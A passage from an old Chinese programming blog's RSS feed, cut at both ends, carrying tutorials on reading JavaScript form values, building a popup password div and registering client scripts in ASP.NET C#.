nbsp;Dir<br/>&nbsp;&nbsp;&nbsp;&nbsp;Loop<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&#34;恭喜全部合并成功！&#34;,&nbsp;64&nbsp;+&nbsp;0,&nbsp;&#34;温馨提示&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>End&nbsp;Sub<br/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=144</link>
			<title><![CDATA[项目开发中常用JS表单取值方法 ]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Tue,12 Aug 2008 09:50:04 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=144</guid>	
		<description><![CDATA[项目开发中常用JS表单取值方法&nbsp;<br/><br/>一.常用表单基本取值方法(form1为表单名称,TextBox1为控件ID,以文本框为例,html控件与web服务器控件是一样的)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.form1.TextBox1.value&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.var&nbsp;txt&nbsp;=&nbsp;document.all.TextBox1;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txt.value&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3.var&nbsp;txt&nbsp;=&nbsp;document.all[&#34;TextBox1&#34;];&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txt.value&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4.document.getElementById(&#34;TextBox1&#34;);&nbsp;<br/><br/>二.&nbsp;<br/>1.html复选框(name相同)&nbsp;<br/>表单：&nbsp;&lt;input&nbsp;id=&#34;Checkbox1&#34;&nbsp;type=&#34;checkbox&#34;&nbsp;name=&#34;chk&#34;&nbsp;value=&#34;123&#34;&nbsp;/&gt;sss&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;id=&#34;Checkbox2&#34;&nbsp;type=&#34;checkbox&#34;&nbsp;name=&#34;chk&#34;&nbsp;value=&#34;456&#34;/&gt;aaa&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;id=&#34;Checkbox3&#34;&nbsp;type=&#34;checkbox&#34;&nbsp;name=&#34;chk&#34;&nbsp;value=&#34;789&#34;/&gt;bbb&nbsp;<br/><br/>实现功能：遍历html复选框，得到所选中项&nbsp;<br/>&nbsp;&nbsp;&nbsp;var&nbsp;oChks&nbsp;=&nbsp;document.all.chk;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;for(var&nbsp;i=0;&nbsp;i&lt;oChks.length;&nbsp;i++)&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(oChks[i].checked)&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;alert(oChks[i].value);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;<br/><br/>2.html单选框(name相同)&nbsp;<br/>表单：&nbsp;&lt;input&nbsp;id=&#34;Radio1&#34;&nbsp;type=&#34;radio&#34;&nbsp;name=&#34;rad&#34;&nbsp;value=&#34;123&#34;/&gt;123&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;id=&#34;Radio2&#34;&nbsp;type=&#34;radio&#34;&nbsp;name=&#34;rad&#34;&nbsp;value=&#34;456&#34;/&gt;456&nbsp;<br/>实现功能：遍历html复选框，得到所选中项&nbsp;<br/>代码同html复选框&nbsp;<br/><br/>3.html下拉列表框&nbsp;<br/>表单：&lt;sel&#101;ct&nbsp;id=&#34;Sel&#101;ct1&#34;&nbsp;multiple&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=1&gt;1&lt;/option&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;option&nbsp;value=2&gt;2&lt;/option&gt;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/sel&#101;ct&gt;&nbsp;<br/>实现功能：&nbsp;<br/>&nbsp;&nbsp;&nbsp;3.1得到所选中项的text和value值(选择一项)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;selDrp&nbsp;=&nbsp;document.all.Sel&#101;ct1;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;alert(selDrp.options[selDrp.sel&#101;ctedIndex].text);&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;alert(selDrp.options[selDrp.sel&#101;ctedIndex].value);&nbsp;<br/>&nbsp;&nbsp;&nbsp;3.2得到所选中项的text和value值(选择多项)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;for(var&nbsp;j=0;j&lt;selDrp.options.length;j++)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(selDrp.options[j].sel&#101;cted)&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(selDrp.options[j].value);&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br/>4.Dro&#112;DownList控件与ListBox控件&nbsp;<br/>实现功能：得到所选中项的text和value值&nbsp;<br/>代码同html下拉列表框&nbsp;<br/><br/>5.CheckBoxList控件&nbsp;<br/>实现功能：得到所选中项的text&nbsp;<br/>代码：&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;chklist&nbsp;=&nbsp;document.all(&#34;CheckBoxList1&#34;);&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;i&nbsp;=&nbsp;0;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(i=0;i&lt;chklist.rows.length;i++)&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;var&nbsp;name&nbsp;=&nbsp;&#34;CheckBoxList1_&#34;&nbsp;+&nbsp;i;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;var&nbsp;tmpChecked&nbsp;=&nbsp;document.all[name].checked;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(tmpChecked)&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;alert(document.all[name].parentElement.innerText);&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=142</link>
			<title><![CDATA[JS弹出div和关闭 ]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Tue,12 Aug 2008 09:46:20 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=142</guid>	
		<description><![CDATA[JS弹出div和关闭&nbsp;<br/><br/>//--弹出div<br/>var&nbsp;parameter;<br/>var&nbsp;type;<br/>function&nbsp;alert_div(type,parameter)<br/>{<br/>&nbsp;//获得鼠标当前X,Y坐标<br/>&nbsp;var&nbsp;x,y;<br/>&nbsp;if(!document.all)<br/>&nbsp;{<br/>&nbsp;&nbsp;x=pageX;<br/>&nbsp;&nbsp;y=pageY;<br/>&nbsp;}else{<br/>&nbsp;&nbsp;x=document.body.scrollLeft+event.clientX;&nbsp;//鼠标X轴的值<br/>&nbsp;&nbsp;y=document.body.scrollTop+event.clientY;&nbsp;//鼠标Y轴的值<br/>&nbsp;}<br/><br/>&nbsp;//window.scrollTo(100,500);//竖向滚动条位置<br/><br/>&nbsp;var&nbsp;sH&nbsp;=&nbsp;document.body.scrollHeight;&nbsp;//窗口的高度<br/>&nbsp;var&nbsp;sW&nbsp;=&nbsp;document.body.scrollWidth;&nbsp;//窗口的宽度<br/>&nbsp;<br/>&nbsp;var&nbsp;width=260&nbsp;,&nbsp;height=90;&nbsp;//设置div的大小<br/><br/>&nbsp;if((x&nbsp;+&nbsp;width)&nbsp;&gt;=&nbsp;sW)&nbsp;//当鼠标点击时的x坐标的值加上div的宽度大于窗口的宽度<br/>&nbsp;{<br/>&nbsp;&nbsp;x&nbsp;=&nbsp;x&nbsp;-&nbsp;width;<br/>&nbsp;}<br/><br/>&nbsp;var&nbsp;left=x&nbsp;,&nbsp;top=y&nbsp;;&nbsp;//设置div的位置<br/><br/>&nbsp;var&nbsp;str=&#34;&#34;;<br/>&nbsp;//&nbsp;整个div的大小和位子<br/>&nbsp;str+=&#34;&lt;div&nbsp;id=&#39;div1&#39;&nbsp;style=&#39;z-index:1;background-color:white;position:absolute;border:2px&nbsp;solid&nbsp;slategray;left:&#34;+left+&#34;;top:&#34;+top+&#34;;width:&#34;+width+&#34;;height:&#34;+height+&#34;;&#39;&gt;&#34;;<br/>&nbsp;//--begin灰色top<br/>&nbsp;str+=&#34;&lt;div&nbsp;style=&#39;padding-bottom:2px;background-color:slategray;width:100%;height:16px;color:white;&#39;&gt;&#34;;<br/>&nbsp;//&nbsp;灰色div的设置<br/>&nbsp;str+=&#34;&nbsp;&lt;div&nbsp;style=&#39;float:left;height:16px;overflow:hidden;margin:0px;padding:4px&nbsp;0px&nbsp;0px&nbsp;5px;width:235;&#39;&gt;温馨提示&lt;/div&gt;&#34;;<br/>&nbsp;//&nbsp;灰色div右侧的按钮<br/>&nbsp;//str+=&#34;&nbsp;&lt;span&nbsp;style=&#39;width:14px;font-family:webdings;cursor:hand;&#39;&gt;0&lt;/span&gt;&#34;;&nbsp;<br/>&nbsp;str+=&#34;&nbsp;&lt;span&nbsp;style=&#39;width:14px;font-family:webdings;cursor:hand;&#39;&nbsp;onclick=&#39;hide()&#39;&gt;r&lt;/span&gt;&#34;;<br/>&nbsp;str+=&#34;&lt;/div&gt;&#34;;<br/>&nbsp;//--end<br/>&nbsp;//--begin白色div<br/>&nbsp;str+=&#34;&lt;div&nbsp;style=&#39;&nbsp;margin:10px&nbsp;5px&nbsp;10px&nbsp;10px;word-break:break-all;&#39;&gt;&#34;;&nbsp;<br/>&nbsp;//&nbsp;白色div中的信息<br/>&nbsp;str+=&#34;&lt;table&nbsp;cellpadding=&#39;0&#39;&nbsp;cellspacing=&#39;1&#39;&nbsp;border=&#39;0&#39;&nbsp;class=&#39;border&#39;&nbsp;align=left&gt;&lt;form&nbsp;method=&#39;post&#39;&nbsp;name=&#39;form_pwd&#39;&nbsp;action=&#39;other.php?type=&#34;+type+&#34;&amp;_num=&#34;+parameter+&#34;&#39;&gt;&lt;tr&nbsp;class=&#39;tdbg&#39;&nbsp;valign=&#39;top&#39;&gt;&lt;td&nbsp;align=&#39;left&#39;&gt;&lt;strong&gt;请输入密码：&lt;/strong&gt;&lt;input&nbsp;name=&#39;pwd&#39;&nbsp;type=&#39;password&#39;&nbsp;size=&#39;20&#39;&nbsp;maxlength=&#39;255&#39;&nbsp;style=&#39;height:18px;&#39;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&nbsp;class=&#39;tdbg&#39;&gt;&lt;td&nbsp;colspan=&#39;2&#39;&nbsp;align=&#39;center&#39;&nbsp;valign=&#39;foot&#39;&gt;&lt;input&nbsp;type=&#39;submit&#39;&nbsp;name=&#39;sub_pwd&#39;&nbsp;value=&#39;&nbsp;确认&nbsp;&#39;&gt;&amp;nbsp;&amp;nbsp;&lt;input&nbsp;type=&#39;reset&#39;&nbsp;value=&#39;&nbsp;重&nbsp;置&nbsp;&#39;&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/form&gt;&lt;/table&gt;&#34;;<br/>&nbsp;str+=&#34;&lt;/div&gt;&#34;;<br/>&nbsp;//--end<br/>&nbsp;str+=&#34;&lt;/div&gt;&#34;;&nbsp;<br/>&nbsp;//document.write(str);<br/>&nbsp;document.body.ins&#101;rtAdjacentHTML(&#34;afterBegin&#34;,str);<br/>&nbsp;<br/><br/>}<br/>//--关闭div<br/>function&nbsp;hide()<br/>{<br/>&nbsp;document.getElementById(&nbsp;&#34;div1&#34;).style.display&nbsp;=&nbsp;&#34;none&#34;;<br/>}<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.dbsun.com/default.asp?id=141</link>
			<title><![CDATA[C#中常用到的JS ]]></title>
			<author>dbmaster@163.com(zilong)</author>
			<category><![CDATA[Javascript]]></category>
			<pubDate>Tue,12 Aug 2008 09:43:57 +0800</pubDate>
			<guid>http://www.dbsun.com/default.asp?id=141</guid>	
		<description><![CDATA[1.按钮前后台事件<br/>&lt;asp:Button&nbsp;ID=&#34;Button1&#34;&nbsp;runat=&#34;server&#34;&nbsp;OnClick=&#34;Button1_Click&#34;&nbsp;Text=&#34;Button&#34;&nbsp;<br/>OnClientClick=&#34;alert(&#39;客房端验证，阻止向服务器端提交&#39;);return&nbsp;false;&#34;&nbsp;/&gt;<br/><br/>2.注册相关事件：onblur,onclick,onchange<br/>this.TextBox1.Attributes.Add(&#34;onchange&#34;,&nbsp;<br/>&#34;alert(&#39;数据被改动，现检查输入是否符合规则&#39;);&#34;);<br/><br/>3.注册相关属性：<br/>this.TextBox1.Attributes.Add(&#34;readOnly&#34;,&nbsp;&#34;true&#34;);<br/><br/>4.引入JS文件<br/>前台HTML页面：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;script&nbsp;type=&#34;text/javascript&#34;&nbsp;src=&#34;JScript.js&#34;&nbsp;language=&#34;javascript&#34;&gt;&lt;/script&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;script&nbsp;type=&#34;text/javascript&#34;&nbsp;language=&#34;javascript&#34;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;fn_Name()<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(&#34;JS&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;/script&gt;<br/>后台cs页面：<br/>this.RegisterClientScriptBlock(&#34;jsFile&#34;,&nbsp;<br/>&#34;&lt;script&nbsp;type=&#39;text/javascript&#39;&nbsp;src=&#39;JScript.js&#39;&nbsp;language=&#39;javascript&#39;&gt;&lt;/script&gt;&#34;);<br/><br/>5.点击按钮时&nbsp;相关栏位&nbsp;非空判断<br/>&nbsp;&nbsp;&nbsp;&nbsp;function&nbsp;checkEmpty(txtObj,msgShow)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(txtObj.value&nbsp;==&nbsp;&#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(msgShow);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&lt;asp:Button&nbsp;ID=&#34;Button1&#34;&nbsp;runat=&#34;server&#34;&nbsp;OnClick=&#34;Button1_Click&#34;&nbsp;Text=&#34;Button&#34;&nbsp;<br/>OnClientClick=&#34;return&nbsp;checkEmpty(TextBox1,&#39;TextBox1&nbsp;不能为空&#39;)&#34;&nbsp;/&gt;<br/><br/>6.<br/>&nbsp;//通过ChcekBox的是否点选&nbsp;<br/>&nbsp;//来控制其相对应的TextBox&nbsp;是否可输入&nbsp;<br/>function&nbsp;chkTextBox(chkObj,txtObj)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(chkObj.checked==true)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txtObj.value&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txtObj.readOnly&nbsp;=&nbsp;false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txtObj.focus();<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(chkObj.checked&nbsp;==&nbsp;false)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txtObj.value&nbsp;=&nbsp;&#34;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;txtObj.readOnly&nbsp;=&nbsp;true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/><br/>&lt;input&nbsp;id=&#34;Checkbox1&#34;&nbsp;type=&#34;checkbox&#34;&nbsp;onclick=&#34;chkTextBox(Checkbox1,TextBox1)&#34;&nbsp;/&gt;<br/><br/>7<br/>//传值到模态窗口&nbsp;并得到传回的值<br/>var&nbsp;EnCodeQueryName&nbsp;=&nbsp;escape(Name);<br/>var&nbsp;strPara&nbsp;=&nbsp;&#34;&#39;dialogWidth:&nbsp;400px;dialogHeight:&nbsp;400px;dialogLeft:&nbsp;300px;dialogTop:&nbsp;200px;toolbar:&nbsp;no;menubar:&nbsp;no;resizable:&nbsp;yes;location:&nbsp;no;status:&nbsp;no;scrollbars=&nbsp;no&#39;&#34;;<br/>var&nbsp;ReturnInfo&nbsp;=&nbsp;window.showModalDialog(&#34;QryName.aspx?&amp;Name=&#34;+EnCodeQueryName&nbsp;+&#34;&amp;QueryID=&#34;+QueryType+&#34;&#34;,&#39;&#39;,strPara);<br/>&nbsp;&nbsp;&nbsp;if(ReturnInfo&nbsp;!=null)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;arrayReturnInfo&nbsp;=&nbsp;ReturnInfo&nbsp;.split(&#34;@&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.all.drpID.value&nbsp;=&nbsp;arrayReturnInfo[1];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.all.txtName.value=&nbsp;arrayReturnInfo[2];<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>8<br/>//弹出JS的确认对话框<br/>//并根据确认结果&nbsp;触发后台相关操作<br/>if(confirm(&#39;确认如何吗?&#39;))<br/>{<br/>&nbsp;&nbsp;document.all.hidbtn_Submit.click();<br/>}<br/>else<br/>{<br/>&nbsp;&nbsp;document.all.hidbtn_Cancel.click();<br/>}<br/><br/>HTML页面相关代码：<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;id=&#34;hidbtn_Submit&#34;&nbsp;type=&#34;button&#34;&nbsp;value=&#34;确认修改&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;style=&#34;display:none;&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;onserverclick=&#34;hidbtn_Submit_ServerClick&#34;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runat=&#34;server&#34;&nbsp;/&gt;<br/>9<br/>//添加页面对快捷键的响应<br/>//如&nbsp;按F2时&nbsp;进行新增按钮的操作等<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#region&nbsp;添加页面对快捷键的响应<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;strJS_ShortKey&nbsp;=&nbsp;&#34;&lt;script&nbsp;language=&#39;javascript&#39;&nbsp;type=&#39;text/javascript&#39;&nbsp;&gt;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;document.onkeydown=shortKeyDown;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;function&nbsp;shortKeyDown()&nbsp;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;{&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;新增<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(this.ButtonCtl1.ImgBtn_AddFamily.Visible)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;btnIns&#101;rtCID&nbsp;=&nbsp;this.ButtonCtl1.ImgBtn_Ins&#101;rt.ClientID.Trim();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//F2&nbsp;-&nbsp;113<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;if(event.keyCode==&#39;113&#39;)&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;{&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;document.all(&#39;&#34;&nbsp;+&nbsp;btnIns&#101;rtCID&nbsp;+&nbsp;&#34;&#39;).click();&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;event.keyCode=&nbsp;0;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue&nbsp;=&nbsp;false;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;}&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;修改<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(this.ButtonCtl1.ImgBtn_Edit.Visible)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string&nbsp;btnEditCID&nbsp;=&nbsp;this.ButtonCtl1.ImgBtn_Edit.ClientID.Trim();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//F3&nbsp;-&nbsp;114<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;if(event.keyCode==&#39;114&#39;)&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;{&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;document.all(&#39;&#34;&nbsp;+&nbsp;btnEditCID&nbsp;+&nbsp;&#34;&#39;).click();&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;event.keyCode=&nbsp;0;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;event.returnValue&nbsp;=&nbsp;false;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;false;&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;&nbsp;}&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp